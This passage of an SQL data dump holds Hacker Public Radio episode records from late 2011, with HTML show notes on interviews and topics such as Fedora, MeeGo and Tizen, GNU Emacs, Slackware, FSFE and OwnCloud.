/>\r\n</p>',191,0,1,'CC-BY-SA','icecast,BUTT,Broadcast Using This Tool,IDJC,Internet DJ Console,Liquidsoap,Airtime,Rivendell,RAAbuntu',0,2377,1),
(846,'2011-10-30','Jared Smith from Fedora',960,'An interview with Jared Smith, the project manager of Fedora Linux','<p>Klaatu, losing his voice from too much Ohio Linux Festivities, interviews Jared Smith, the project manager of Fedora Linux.</p>\r\n<p><a href=\"https://fedoraproject.org/wiki/Fedora_Project_Wiki\">https://fedoraproject.org/wiki/Fedora_Project_Wiki</a><br />\r\n<a href=\"https://www.jaredsmith.net/\">https://www.jaredsmith.net/</a>\r\n</p>',78,0,0,'CC-BY-SA','\"Ohio Linux Fest\",OLF,\"Fedora Project\"',0,2034,1),
(847,'2011-10-31','FSCONS, MeeGo and the story of Tizen',1380,'Interviews from FSCONS relating to MeeGo and Tizen','<h2>Who am i?</h2>\r\n\r\n<p>Hello everyone, in today\'s show you will hear my first show on Hacker Public Radio! You may know me as \"<em>Seetee</em>\", or as \"<em>Kenneth from the All In IT Radio podcast</em>\", or most likely, you do not know me at all. Hopefully you will hear more shows from me in the future, though.</p>\r\n\r\n<p>You find me all over the Internet, and you can follow me at both identi.ca and twitter as @alltinomit</p>\r\n\r\n<h2>The story in short</h2>\r\n\r\n<p>At FSCONS 2010 (<a href=\"https://fscons.org/\">https://fscons.org/</a>) I had the privilege to watch many interesting talks. Something that really peeked my interest where the talks of Knut Yrvin and Jeremiah Foster, two talented gentlemen who I was lucky to get a little private interview with as well. Their talks are available on Vimeo, and in this episode of Hacker Public Radio you get to hear my interviews, together with my interpretation of what has happened in the past to lead up to the creation of the operating system Tizen.</p>\r\n\r\n<h2>Mentioned links</h2>\r\n\r\n<h3 style=\"margin-bottom:0;\">Knut Yrvin</h3>\r\n<p style=\"margin-top:0;\">\"Qt on MeeGo\" (<a href=\"https://vimeo.com/22229208\">https://vimeo.com/22229208</a>)</p>\r\n\r\n<h3 style=\"margin-bottom:0;\">Jeremiah Foster</h3>\r\n<p style=\"margin-top:0;\">\"GENIVI alliance and how biz can adapt FOSS\" (<a href=\"https://vimeo.com/21970744\">https://vimeo.com/21970744</a>)</p>\r\n\r\n<h3 style=\"margin-bottom:0;\">All In IT Radio - Should Cars Get Smarter?</h3>\r\n<p style=\"margin-top:0;\">Me and my mates talk more about MeeGo. This was just before the Tizen announcement. We cover a bit more of the thoughts around this emerging market. (<a href=\"https://aiit.se/radio/episodes/e0007-should_cars_get_smarter/\">https://aiit.se/radio/0007</a>)</p>\r\n\r\n<h3 style=\"margin-bottom:0;\">Further reading</h3>\r\n<ul style=\"list-decoration:none;margin-top:0;\">\r\n<li><a href=\"https://meego.com/\">MeeGo</a></li>\r\n<li><a href=\"https://www.genivi.org/\">The GenIVI Alliance</a></li>\r\n<li><a href=\"https://www.tizenexperts.com/2011/10/dear-intel-samsung-tizen-qt/\">\"Dear Intel & Samsung, Can Tizen have some Qt?\"</a></li>\r\n<li><a href=\"https://blogs.gnome.org/bolsh/2011/10/06/what-community/\">\"What community?\"</a></li>\r\n<li><a href=\"https://www.tizen.org/\">Tizen.org</a></li>\r\n</ul>\r\n',192,78,1,'CC-BY-SA','FSCONS',0,2175,1),
(848,'2011-11-01','Alan Cocks, the info point project',584,'An interview with Alan Cocks at Oggcamp 11','<p>\r\nIn todays show Ken talks to Alan Cocks about the info point project setup by Jono Bacon. It is an outreach program to get the message of open source to visitors at and how he has spread the open source message at the Bracknell Computer Fair  each month <br /><a href=\"https://www.britishcomputerfairs.com/cgi-bin/floorplan?vnu_id=5\">https://www.britishcomputerfairs.com/cgi-bin/floorplan?vnu_id=5</a>\r\n<br />\r\n<!-- <a href=\"https://infopointproject.org/wordpress/\">https://infopointproject.org/wordpress/</a> -->\r\n<a\r\n    href=\"https://web.archive.org/web/20140824090740/https://infopointproject.org/wordpress/\">https://infopointproject.org/wordpress/</a><br/>\r\n<small>Editor\'s Note: The above site is no longer available. The link refers to the last copy made on the <em>Wayback Machine</em></small></p>\r\n\r\n<table style=\"width:auto;\"><tr><td><a href=\"https://picasaweb.google.com/lh/photo/MBwqJX2gVB041Q0muqCX7g?feat=embedwebsite\"><img src=\"https://lh3.googleusercontent.com/-UyeV5JkwMnU/Tk40VXoTzkI/AAAAAAAAAno/BMhHDhfTR8k/s144/20110813_143454.jpg\" height=\"144\" width=\"108\" /></a></td></tr><tr><td style=\"font-family:arial,sans-serif; font-size:11px; text-align:right\">From <a href=\"https://picasaweb.google.com/hackerpublicradio/HPROggCamp1102?authuser=0&feat=embedwebsite\">HPR @ OggCamp11</a></td></tr></table>\r\n\r\n',30,78,1,'CC-BY-SA','\"Info Point Project\",\"Bracknell Computer Fair\"',0,2141,1),
(849,'2011-11-02','Sunday Morning Linux Review',2653,'SMLR episode 3','<p>\r\nEach Thursday we play Syndicated creative commons content. In todays show we focus on Sunday Morning Linux Review with Mat and Tony, a weekly news show for the Linux community<br />\r\n<a href=\"https://www.smlr.us\">https://www.smlr.us</a><br />\r\n</p>\r\n<p>\r\nWith:<br />\r\nTony Bemus from <a href=\"https://www.bemushosting.com\">https://www.bemushosting.com</a><br />\r\nMat Enders from <a href=\"https://www.charter-school-it-techs.com\">https://www.charter-school-it-techs.com</a><br />\r\n</p>\r\n<p>\r\nKernel News: Mat<br />\r\nThe Current Development kernel 3.2<br />\r\nThe Stable release is 3.1<br />\r\n</p>\r\n<p>\r\nDistro News: Tony<br />\r\nDistrowatch.com <br />\r\n10-27  SalineOS 1.5  Debian-based distribution with Xfce<br />\r\n</p>\r\n<p>\r\n10-25  Puppy Linux 5.3 Slacko  binary compatibility with Slackware Linux<br />\r\nLast week releases: ZevenOS 2.0 Neptune and Finnix 103<br />\r\n</p>\r\n<p>\r\nComing up: FreeBSD 9.0 and openSUSE 12.1\r\n</p>\r\n<p>\r\nDistro of the Week:<br />\r\nMint<br />\r\nUbuntu<br />\r\nopenSUSE<br />\r\nFedora<br />\r\nDebian<br />\r\nOther Distro News:<br />\r\n</p>\r\n<p>\r\nTech News:<br />\r\nAmazon Introduces New Ebook Format<br />\r\nThe new file format, Kindle Format 8 (KF8), is based on HTML5, and with it, Amazon aims to bring some of the flexibility and power that HTML5 offers to the world of e-books. HTML5 features such as CSS3 formatting, nested tables, SVG graphics, embedded fonts, and borders are all now supported. The new format includes much richer layout options, including fixed layoutsessential for accurate reproduction of many childrens booksand panel-based layouts for comic books. Books can include sidebars and callouts, text overlaid on background images, boxes, drop caps, and more.\r\n</p>\r\n<p>\r\nOpen Source: You Know, For Kids!<br />\r\nRecently SCALE announced that the 2012 event, January 20-22 in Los Angeles, will include a SCALE Kids Conference\r\n</p>\r\n<p>\r\nMore about: ICANN is Taking Over the Olson Time Zone Database  Astrolabe not looking for money but just wanted to make a point about infringement.\r\n</p>\r\n<p>\r\nOther Talk:<br />\r\nApple Threatens Small, Family-Run Caf Over Trademark<br />\r\nApple is threatening to sue a small, family run caf in Bonn because they are of the opinion that their logo infringes on Apples trademark. The owner of the caf Apfelkind, Christin Rmer, has registered her logo as a trademark for the service and fashion industry in June in Munich. Now Apple is claiming in a cease and desist letter that there could be confusion between the small caf in Bonn and their global entertainment brand.\r\n</p>\r\n<p>\r\nLinux Malware: Are We There Yet?<br />\r\nUntrusted package sources<br />\r\nBots, rootkits and unknown commands<br />\r\n</p>\r\n<p>\r\nMore Talk:<br />\r\nTonys Projects: XBMCbuntu  HTPC: Fast Boot, Internet content, Local and network Content!<br />\r\nMats Projects: PFsense\r\n</p>\r\n	',159,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2122,1),
(850,'2011-11-03','Another Tech Giant Passes - Household Tech in the Pre-Micro Era',1923,'Remembering some pioneering greats in the tech field','<p>In today\'s show Mr Gadgets pauses to remember the passing of some pioneering greats in the tech field. He focuses on personal heroes who have had a profound impact on the direction of his life.</p>\r\n\r\n\r\n\r\n<h2>Edgar Villchur</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia (<a href=\"https://en.wikipedia.org/wiki/Edgar_Villchur\">https://en.wikipedia.org/wiki/Edgar_Villchur</a>)\r\n</p>\r\n<p>\r\nEdgar Marion Villchur (28 May 1917 - 17 October 2011) was an American inventor, educator, and writer widely known for his 1954 invention of the acoustic suspension loudspeaker which revolutionized the field of high-fidelity equipment. A speaker Villchur developed, the AR-3, is exhibited at the The Smithsonian Institutions Information Age Exhibit in Washington, DC.<br />\r\nVillchur\'s speaker systems provided improved bass response while reducing the speaker\'s cabinet size. Acoustic Research, Inc. (AR), of which he was president from 1954 to 1967, manufactured high-fidelity loudspeakers, turntables, and other stereo components of his design, and demonstrated their quality through live vs. recorded concerts. The companys market share grew to 32 percent by 1966. After leaving AR, Villchur researched hearing aid technology, developing the multichannel compression hearing aid, which became the industry standard for hearing aids.\r\n</p>\r\n<h2>Henry Kloss</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia (<a href=\"https://en.wikipedia.org/wiki/Henry_Kloss\">https://en.wikipedia.org/wiki/Henry_Kloss</a>)\r\n</p>\r\n<p>\r\nHenry Kloss (1929, Altoona, PA - January 31, 2002, Cambridge, MA) was a prominent American audio engineer and businessman who helped advance high fidelity loudspeaker and radio receiver technology beginning in the 1950s. Kloss (pronounced with a long o, like \"close\") was an undergraduate student in physics at Massachusetts Institute of Technology (class of 1953), but never received a degree. He was responsible for a number of innovations, including the acoustic suspension loudspeaker and the high fidelity cassette deck. In 2000, Kloss was one of the first inductees into the Consumer Electronics Association\'s Hall of Fame. He earned an Emmy Award for his development of a projection television system, the Advent Video Beam 1000.\r\n</p>\r\n<h2>Acoustic Research</h2>\r\n<p>\r\nFrom Wikipedia, the free encyclopedia (<a href=\"https://en.wikipedia.org/wiki/Acoustic_Research\">https://en.wikipedia.org/wiki/Acoustic_Research</a>)\r\n</p>\r\n<p>\r\nAcoustic Research was a Cambridge, Massachusetts-based company that manufactured high-end audio equipment. The brand is now owned by Audiovox. Acoustic Research was well known for the AR-3 series of speaker systems, which used the 12-inch (305 mm) acoustic suspension woofer of the AR-1 with newly designed dome mid-range and high-frequency drivers, which were the first of their kind. AR\'s line of acoustic suspension speakers were extraordinary for their time, as they were the first loudspeakers with flat response, extended bass, wide dispersion, small size, and reasonable cost.\r\n</p>\r\n<p>\r\n<a href=\"https://homepage.mac.com/oldtownman/recording/villchur.html\">https://homepage.mac.com/oldtownman/recording/villchur.html</a>\r\n</p>',155,0,1,'CC-BY-SA','\"Edgar Villchur\",\"Henry Kloss\",\"Acoustic Research\"',0,2229,1),
(851,'2011-11-04','HPR Community News for Oct 2011',1358,'HPR Community News for Oct 2011','<h1>HPR Community News</h1>\n <h2>New hosts</h2>\n <p>Welcome to our new host: <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=192\">Seetee</a></p>\n <h2>Show Review</h2>\n <table>\n  <thead>\n   <tr>\n    <th>id</th>\n    <th>title</th>\n    <th>host</th>\n   </tr>\n  </thead>\n  <tbody>\n   <tr>\n    <td>826</td>\n    <td>HPR Community News for Sep 2011</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>827</td>\n    <td>HPR booth and HostGator</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>828</td>\n    <td>a+g=-b</td>\n    <td>MrGadgets</td>\n   </tr>\n   <tr>\n    <td>829</td>\n    <td>Interview with Prof Jocelyn Bell-Burnell</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>830</td>\n    <td>Peter Hutterer Interview at X.Org Developer Conference (XDC) 2011</td>\n    <td>marcoz</td>\n   </tr>\n   <tr>\n    <td>831</td>\n    <td>Chris from Sourceforge.net</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>832</td>\n    <td>OggCamp11 Roundup</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>833</td>\n    <td>Ian Romanick Interview at X.Org Developer Conference (XDC) 2011</td>\n    <td>marcoz</td>\n   </tr>\n   <tr>\n    <td>834</td>\n    <td>The Knightcast KC0056 : Best of KWTV Live</td>\n    <td>Knightwise</td>\n   </tr>\n   <tr>\n    <td>835</td>\n    <td>Amazon sets the world on Fire</td>\n    <td>MrGadgets</td>\n   </tr>\n   <tr>\n    <td>836</td>\n    <td>Jeff from No Machine</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>837</td>\n    <td>Juergen Schinker open wireless network</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>838</td>\n    <td>Martin Peres @ XDC</td>\n    <td>marcoz</td>\n   </tr>\n   <tr>\n    <td>839</td>\n    <td>Full Circle Podcast: The Lubuntu Team</td>\n    <td>Robin Catling</td>\n   </tr>\n   <tr>\n    <td>840</td>\n    <td>Android Shopping</td>\n    <td>cobra2</td>\n   </tr>\n   <tr>\n    <td>841</td>\n    <td>Jonathan Nadeau</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>842</td>\n    <td>DJ from h-online.com</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>843</td>\n    <td>What holiday tech item</td>\n    <td>MrGadgets</td>\n   </tr>\n   <tr>\n    <td>844</td>\n    <td>The Flying Handbag</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>845</td>\n    <td>Open Source Radio Software</td>\n    <td>AukonDK</td>\n   </tr>\n   <tr>\n    <td>846</td>\n    <td>Jared Smith from Fedora</td>\n    <td>klaatu</td>\n   </tr>\n   <tr>\n    <td>847</td>\n    <td>FSCONS, MeeGo and the story of Tizen</td>\n    <td>Seetee</td>\n   </tr>\n   <tr>\n    <td>848</td>\n    <td>Alan Cocks, the info point project</td>\n    <td>Ken Fallon</td>\n   </tr>\n   <tr>\n    <td>849</td>\n    <td>Sunday Morning Linux Review</td>\n    <td>HPR Admins</td>\n   </tr>\n   <tr>\n    <td>850</td>\n    <td>Another Tech Giant Passes - Household Tech in the Pre-Micro Era</td>\n    <td>MrGadgets</td>\n   </tr>\n  </tbody>\n </table>\n <h2>Thanks To</h2>\n <ul>\n  <li>Stitcher for feedback on the intro</li>\n </ul>\n <h2>Apologies To</h2>\n <ul>\n  <li>Seetee for the mixup in the show scheduling</li>\n </ul>\n <h2>Contribute Shows</h2>\n <p>We\'re short of shows so please stop <a href=\"https://en.wikipedia.org/wiki/Procrastination\">procrastinating</a> and record that show today. <a href=\"https://hackerpublicradio.org/contribute.php\">https://hackerpublicradio.org/contribute.php</a> has more information on how to do that.</p>',159,47,1,'CC-BY-SA','Community News',0,2508,1),
(852,'2011-11-07','GNU Emacs 1',1933,'Part 1 of a mini series on GNU Emacs','<p>A small mini series (three parts) on GNU Emacs; Klaatu tells you how to use it, when to use it and when not to, why you\'d want to use it, and most of all - how to become a pro on it!  Not a sales pitch for Emacs, just a harmless introduction.  First try is free.</p>\r\n<p>\r\n<img src=\"https://www.gnu.org/software/emacs/tour/images/splash-small.png\" alt=\"emacs logo\" />\r\n</p>\r\n<p>GNU Emacs is an extensible, customizable text editor—and\r\nmore.  At its core is an interpreter for Emacs Lisp, a dialect of\r\nthe <a name=\"LispPointers\" href=\"https://en.wikipedia.org/wiki/Lisp_programming_language\"\r\nid=\"LispPointers\">Lisp programming language</a> with extensions to\r\nsupport text editing.  The features of GNU Emacs include:</p>\r\n<ul>\r\n<li>Content-sensitive editing modes, including syntax coloring, for a\r\nvariety of file types including plain text, source code, and\r\nHTML.</li>\r\n<li>Complete built-in documentation, including a tutorial for new\r\nusers.</li>\r\n<li>Full <a href=\"https://unicode.org\">Unicode</a> support for nearly\r\nall human languages and their scripts.</li>\r\n<li>Highly customizable, using Emacs Lisp code or a graphical\r\ninterface.</li>\r\n<li>A large number of extensions that add other functionality, including a <a href=\"https://www.gnu.org/software/emacs/manual/org.html\">project planner</a>, <a href=\"https://www.gnu.org/software/emacs/manual/gnus.html\">mail and news reader</a>, <a href=\"https://www.gnu.org/software/emacs/manual/html_node/emacs/Debuggers.html\">debugger\r\ninterface</a>,\r\n<a href=\"https://www.gnu.org/software/emacs/manual/html_node/emacs/Calendar_002fDiary.html\">calendar</a>, and more. Many of these extensions are distributed with GNU Emacs; others are <a href=\"#Further\">available separately</a>.</li>\r\n</ul>\r\n',78,0,0,'CC-BY-SA','\"GNU Emacs\",\"text editor\",\"Emacs Lisp\"',0,2635,1),
(853,'2011-11-08','Pat Volkerding of Slackware Linux chats with Klaatu',2888,'Pat Volkerding of Slackware Linux at the SELF afterparty','<p>Pat Volkerding of Slackware Linux chats with Klaatu and whomever happens to wander by (Maco, Vincent Batts, Chad Wallenberg, and others) at the SELF afterparty.</br>\r\n</p>\r\n\r\n<h2>Slackware</h2>\r\n<h3>From Wikipedia, the free encyclopedia</h3>\r\n<p>\r\nSlackware is a free and open source Linux-based operating system. It was one of the earliest operating systems to be built on top of the Linux kernel and is the oldest currently being maintained. Slackware was created by Patrick Volkerding of Slackware Linux, Inc. in 1993. The current stable version is 13.37, released on April 27, 2011.</br>\r\nSlackware aims for design stability and simplicity, and to be the most \"Unix-like\" Linux distribution, making as few modifications as possible to software packages from upstream and using plain text files and a small set of shell scripts for configuration and administration.\r\n</p>\r\n\r\n<!-- <img src=\"https://upload.wikimedia.org/wikipedia/commons/7/79/Pvolkerding.jpg\" alt=\"photo of Pat Volkerding\" width=\"400\" /> -->\r\n<p><img src=\"https://web.archive.org/web/20171116165327/https://upload.wikimedia.org/wikipedia/commons/7/79/Pvolkerding.jpg\" alt=\"photo of Pat Volkerding\" width=\"400\" />\r\n</p>\r\n\r\n<p>Warning: this is not a proper interview, just 40 minutes of aimless and fairly noisy chit chat at a party.\r\nSo it\'s probably not for everyone, although if you\'re a Slackware fan then it might be of some interest.</p>\r\n<p>\r\n<a href=\"https://www.slackware.com/\">https://www.slackware.com/</a></br>\r\n<a href=\"https://en.wikipedia.org/wiki/Patrick_Volkerding\">https://en.wikipedia.org/wiki/Patrick_Volkerding</a></br>\r\n<a href=\"https://en.wikipedia.org/wiki/Slackware\">https://en.wikipedia.org/wiki/Slackware</a></br>\r\n</p>\r\n',78,0,0,'CC-BY-SA','Slackware',0,4321,1),
(854,'2011-11-09','All In IT Radio0007 - Should Cars Get Smarter ?',4319,'Syndicated Thursday welcomes All In IT Radio','\r\n<h2>Welcome to syndicated Thursday on Hacker Public Radio</h2>\r\n<p>\r\nToday we hilight the Hello and welcome to All In IT Radio! <a href=\"https://aiit.se/radio/\">https://aiit.se/radio/</a>\r\n</p>\r\n\r\n<hr>\r\n<h4>Hello and welcome to All&nbsp;In&nbsp;IT&nbsp;Radio!</h4>\r\n<p>Join us as we talk about everything related to Information Technology, and some other random stuff as well.\r\n   Help us, as we try to find how IT relate to everyone of us, and what the story headlines really mean.</p>\r\n<p>This is a show made by Swedes, in english. Some think this is endearing, other think it is stupid. You are welcome to listen to us strugle with the language barrier any way.</p>\r\n<p>On your right, you find the episodes, at the bottom you can (and should) subscribe to our feed and in the upper right corner you can stream the latest show.</p>\r\n<p>We release a new episode when we feel like it.</p>\r\n\r\n<p>Welcome to All In IT Radio! :-)</p>\r\n\r\n<h3>Episode 0007 - Should Cars Get Smarter?</h3>\r\n  <div class=\"subscribe\"><strong>Subscribe!</strong><br> Then you won\'t miss any new shows. There are feeds for both <a href=\"https://feeds.aiit.se/allinit-radio-ogg.xml\">ogg</a> and <a href=\"https://feeds.aiit.se/allinit-radio-ogg.xml\">mp3</a>. You may also find other formats at <a href=\"https://www.archive.org/details/AllInItRadio-Episode0007-ShouldCarsGetSmarter\">Archive.org</a>.</div>\r\n\r\n  <h4>How intelligent should your car really be? What will happen to the MeeGo operating system now that Nokia has abandoned the project? Will the new guy contribute to the show in any way? (Spoiler: He did.)</h4>\r\n\r\n<p>Duration: 56:05</p>\r\n\r\n\r\n<h5>Show notes</h5>\r\n<p>On it\'s way...</p>\r\n\r\n<ul>\r\n<li><a href=\"https://www.genivi.org/ABOUT/GENIVIMembers/tabid/430/Default.aspx\">https://www.genivi.org/ABOUT/GENIVIMembers/tabid/430/Default.aspx</a>\r\n</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/MeeGo_%28operating_system%29\">https://en.wikipedia.org/wiki/MeeGo_%28operating_system%29</a>\r\n</li>\r\n<li><a href=\"https://www.automotorsport.se/news/22366/saab-satsar-p%C3%A5-iqon--infotainment-med-android/\">https://www.automotorsport.se/news/22366/saab-satsar-p%C3%A5-iqon--infotainment-med-android/</a>\r\n</li>\r\n<li><a href=\"https://arstechnica.com/gadgets/news/2011/06/nokias-new-meego-based-n9-is-set-up-for-failure.ars\">https://arstechnica.com/gadgets/news/2011/06/nokias-new-meego-based-n9-is-set-up-for-failure.ars</a>\r\n</li>\r\n<li><a href=\"https://www.engadget.com/2011/06/23/nokias-first-windows-phone-images-and-video/\">https://www.engadget.com/2011/06/23/nokias-first-windows-phone-images-and-video/</a>\r\n</li>\r\n<li><a href=\"https://encrypted.google.com/search?q=nokia+3110c\">https://encrypted.google.com/search?q=nokia+3110c</a>\r\n</li>\r\n<li><a href=\"https://bixhorn.com/?p=125\">https://bixhorn.com/?p=125</a>\r\n</li>\r\n<li><a href=\"https://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/about.aspx\">https://research.microsoft.com/en-us/um/redmond/projects/kinectsdk/about.aspx</a>\r\n</li>\r\n</ul>\r\n\r\n<h5>Let us wrap this up!</h5>\r\n<p>To reach us: Send your message to the group !aiitr at Identi.ca or mark it with hashtag <a href=\"https://twitter.com/#%21/search/%23aiitr\">#aiitr</a> at Twitter, you find us at both Identi.ca and Twitter at <a href=\"https://identi.ca/alltinomit\">@AlltInomIT</a> and you find Henrik at <a href=\"https://twitter.com/sonnergard\">@Sonnergard</a> and <a href=\"https://twitter.com/warpfuz\">@Warpfuz</a>.</p>\r\n\r\n<p>Theme music today by <a href=\"https://www.jamendo.com/en/track/619726\">The Motyw / Wojciech Wszelaki</a>.<br>\r\nMusic is CC BY-SA 3.0</p>\r\n',192,54,1,'CC-BY-SA','\"Intelligent cars\",Nokia,Meego',0,2094,1),
(855,'2011-11-10','Packaging for your distro',563,'The advantages of packaging content for your distro','<p>\r\nIn this episode Mike tries to highlight the advantages of packaging content for your distro.&nbsp; <br>\r\n<br>\r\nThe Ubuntu content packaging team can be found at : <a href=\"https://bit.ly/cpackage\">https://bit.ly/cpackage</a><br>\r\n<br>\r\nMore articles about content packaging can be found at <a href=\"https://www.titaniumbunker.com\">https://www.titaniumbunker.com</a> .&nbsp; <br>\r\n<br>\r\nMike can be reached at&nbsp; <a href=\"mailto:mike@titaniumbunker.com\">mike@titaniumbunker.com</a><br>\r\n<br>\r\n</p>',185,0,1,'CC-BY-SA','OggCamp,Ubuntu,PPA',0,2160,1),
(856,'2011-11-11','GNU Emacs 2',2349,'Part 2 of a mini series on GNU Emacs','<p>Second episode of three in Klaatu\'s GNU Emacs mini series.  This time, you and Klaatu will tackle the .emacs file and learn how to bring text highlighting, modern-style copy/paste keybindings, and even a little taste of buffers and frame-type things.</p>',78,0,0,'CC-BY-SA','\"GNU Emacs\",.emacs,buffer,frame',0,2286,1),
(857,'2011-11-14','Sam Tuke - Free Software Foundation Europe',507,'An interview wth Sam Tuke the British Team Coordinator and Editorial Team co-ordinator for the FSFE','<p>\r\n<img src=\"https://fsfe.org/graphics/logo_transparent.png\" alt=\"fsfe logo\" /><br />\r\nIn todays show we interview <a href=\"https://fsfe.org/about/tuke/tuke.en.html\">Sam Tuke</a> the British Team Coordinator and Editorial Team co-ordinator for the <a href=\"https://fsfe.org/\">Free Software Foundation Europe</a>\r\n</p>\r\n<!-- <img src=\"https://fsfe.org/about/tuke/tuke.jpg\" alt=\"Photo of Sam\" width=400 /> -->\r\n<p><img src=\"https://web.archive.org/web/20160116003937/https://fsfe.org/about/tuke/tuke.jpg\" alt=\"Photo of Sam\" width=400 /></p>\r\n<p>\r\nThe Free Software Foundation Europe is dedicated to the furthering of Free Software and working for freedom in the emerging digital society.\r\n<br />\r\nAccess to software determines who may participate in a digital society. The freedoms to use, study, share, and improve software allow equal participation, and are extremely important.</br>\r\n<a href=\"https://fsfe.org/\">https://fsfe.org/</a></br>\r\n<a href=\"https://fsfe.org/about/tuke/tuke.en.html\">https://fsfe.org/about/tuke/tuke.en.html</a></br>\r\n<a href=\"https://www.fsf.org/\">https://www.fsf.org/</a></br>\r\n<a href=\"https://oggcamp.org\">https://oggcamp.org</a>\r\n</p>\r\n',30,62,1,'CC-BY-SA','OggCamp,\"Free Software Foundation Europe\",FSFE,FSF',0,1989,1),
(858,'2011-11-15','Pre micro computer tech in the home #2',2036,'Children\'s access to science in the 1960s','<p>\r\nIn today\'s show Mr Gadgets talks about the access children of the space age had to science\r\n</p>\r\n<h2>The Golden Book of Chemistry Experiments</h2>\r\n<p>\r\n<img src=\"https://upload.wikimedia.org/wikipedia/en/9/9c/Golden_book_of_chemistry_expriments.jpg\" alt=\"a picture of the cover\" width=100 /><br />\r\nThe Golden Book of Chemistry Experiments was a children\'s chemistry book written in the 1960s by Robert Brent and illustrated by Harry Lazarus and published by Western Publishing in their Golden Books series. Many of the experiments contained in the book are now considered \"dangerous for unsupervised children\"[citation needed], and would not appear in a modern children\'s chemistry book[citation needed]. OCLC lists only 126 copies of this book in libraries worldwide.<br />\r\nThe book was a source of inspiration to David Hahn, nicknamed \"the Radioactive Boy Scout\" by the media, who tried to collect a sample of every chemical element and also built a model nuclear reactor, which led to the involvement of the authorities.<br />\r\n\r\nFrom Wikipedia, the free encyclopedia <a href=\"https://en.wikipedia.org/wiki/The_Golden_Book_of_Chemistry_Experiments\">https://en.wikipedia.org/wiki/The_Golden_Book_of_Chemistry_Experiments</a><br />\r\n<a href=\"https://www.scribd.com/doc/21654883/The-Golden-Book-of-Chemistry-Experiments\">https://www.scribd.com/doc/21654883/The-Golden-Book-of-Chemistry-Experiments</a>\r\n</p>\r\n<hr>\r\n\r\n<ul>\r\n<li>Sears Chemistry Set <a href=\"https://www.chemheritage.org/discover/collections/collection-items/artifacts/sears-chemistry-set.aspx\">https://www.chemheritage.org/discover/collections/collection-items/artifacts/sears-chemistry-set.aspx</a>\r\n</li>\r\n<li>Wish book web: The vintage Christmas catalog archive project and home <a href=\"https://www.wishbookweb.com/\">https://www.wishbookweb.com/</a>\r\n</li>\r\n<li>Radio Shack Catalogs: <a href=\"https://www.radioshackcatalogs.com/catalog_directory.html\">https://www.radioshackcatalogs.com/catalog_directory.html</a>\r\n</li>\r\n<li>Phantom\'s Vintage Catalog Collection - 1975 Lafayette Radio Catalog <a href=\"https://reel2reeltexas.com/cat75Lafay.html\">https://reel2reeltexas.com/cat75Lafay.html</a>\r\n</li>\r\n<li>Radio Daze Catalog: <a href=\"https://www.radiodaze.com/catalog-online.htm\">https://www.radiodaze.com/catalog-online.htm</a>\r\n</li>\r\n<li>BlackGirlsCode is Dedicated to Inspiring Girls of Color to Become the Next Steve Jobs and Mark Zuckerberg - on PR.com <a href=\"https://www.pr.com/press-release/366388\">https://www.pr.com/press-release/366388</a>\r\n</li>\r\n</ul>',155,0,1,'CC-BY-SA','Chemistry,\"The Golden Book of Chemistry Experiments\"',0,2113,1),
(859,'2011-11-16','Sourcetrunk: OwnCloud',1995,'Syndicated Thursday welcomes Sourcetrunk','<h2>Welcome to syndicated Thursday on Hacker Public Radio</h2>\r\n<p>\r\nToday we highlight:</p>\r\n<h2>Sourcetrunk ~ your trunkload of open source</h2>\r\n<p>\r\n<img src=\"https://www.sourcetrunk.com/pictures/sourcetrunk_300_178.png\" alt=\"The Source Trunk logo\" /><br />\r\n<a href=\"https://www.sourcetrunk.com\">https://www.sourcetrunk.com</a><br />\r\nThis show is released under cc-by-nc-sa<br />\r\n<a href=\"https://creativecommons.org/licenses/by-nc-sa/2.5/\"><img src=\"https://www.sourcetrunk.com/pictures/somerights25.png\"></a>\r\n</p>\r\n\r\n<hr>\r\n<h2>Sourcetrunk (Episode 077) : OwnCloud</h2>\r\n<p>\r\nOriginally aired on on Mon, 2011-11-14 20:36\r\n</p>\r\n<p>\r\n<a href=\"https://www.sourcetrunk.com/podcasts/sourcetrunk_077.mp3\"><img src=\"https://www.sourcetrunk.com/pictures/rss-audiomp3.png\" alt=\"\"></a> <a href=\"https://www.sourcetrunk.com/podcasts/sourcetrunk_077.ogg\"><img src=\"https://www.sourcetrunk.com/pictures/rss-audioogg.png\" alt=\"\"></a></p>\r\n<p>This episode will demonstrate OwnCloud, the Open Source solution for your own cloud where you can manage your files, bookmarks, contacts and appointments without security or privacy issues. (and even can listen to your own music while doing that)</p>\r\n<p><img src=\"https://www.sourcetrunk.com/pictures/owncloud.png\"></p>\r\n\r\n<p><a href=\"https://owncloud.org/\">OwnCloud</a><br><a href=\"https://demo.owncloud.org/files/index.php\">OwnCloud Demo</a><br><a href=\"https://owncloud.org/install/\">install OwnCloud</a><br><a href=\"https://owncloud.org/contribute/\">contribute to OwnCloud</a></p>\r\n<p>Android pick : <a href=\"https://market.android.com/details?id=com.arantius.tivocommander&amp;hl=en\">Tivo Commander</a></p>\r\n<p>music from <a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=5848a0485a0f4eff28c22288a2396a57\">Tag</a><br>\r\ntheme from <a href=\"https://music.podshow.com/music/listeners/artistdetails.php?BandHash=96f18a09714d01b833268854cf39d82c\">Brand New Sin</a> on <a href=\"https://music.podshow.com\">music.podshow.com</a><br>\r\n\r\nBeer on this episode : Wieze Tripel</p>\r\n<p><img src=\"https://www.sourcetrunk.com/pictures/wiezetripel.png\" alt=\"\">&nbsp;&nbsp;&nbsp;<a href=\"https://www.musicalley.com/music/listeners/artistdetails.php?BandHash=5848a0485a0f4eff28c22288a2396a57\"><img src=\"https://www.sourcetrunk.com/pictures/tag.jpg\" 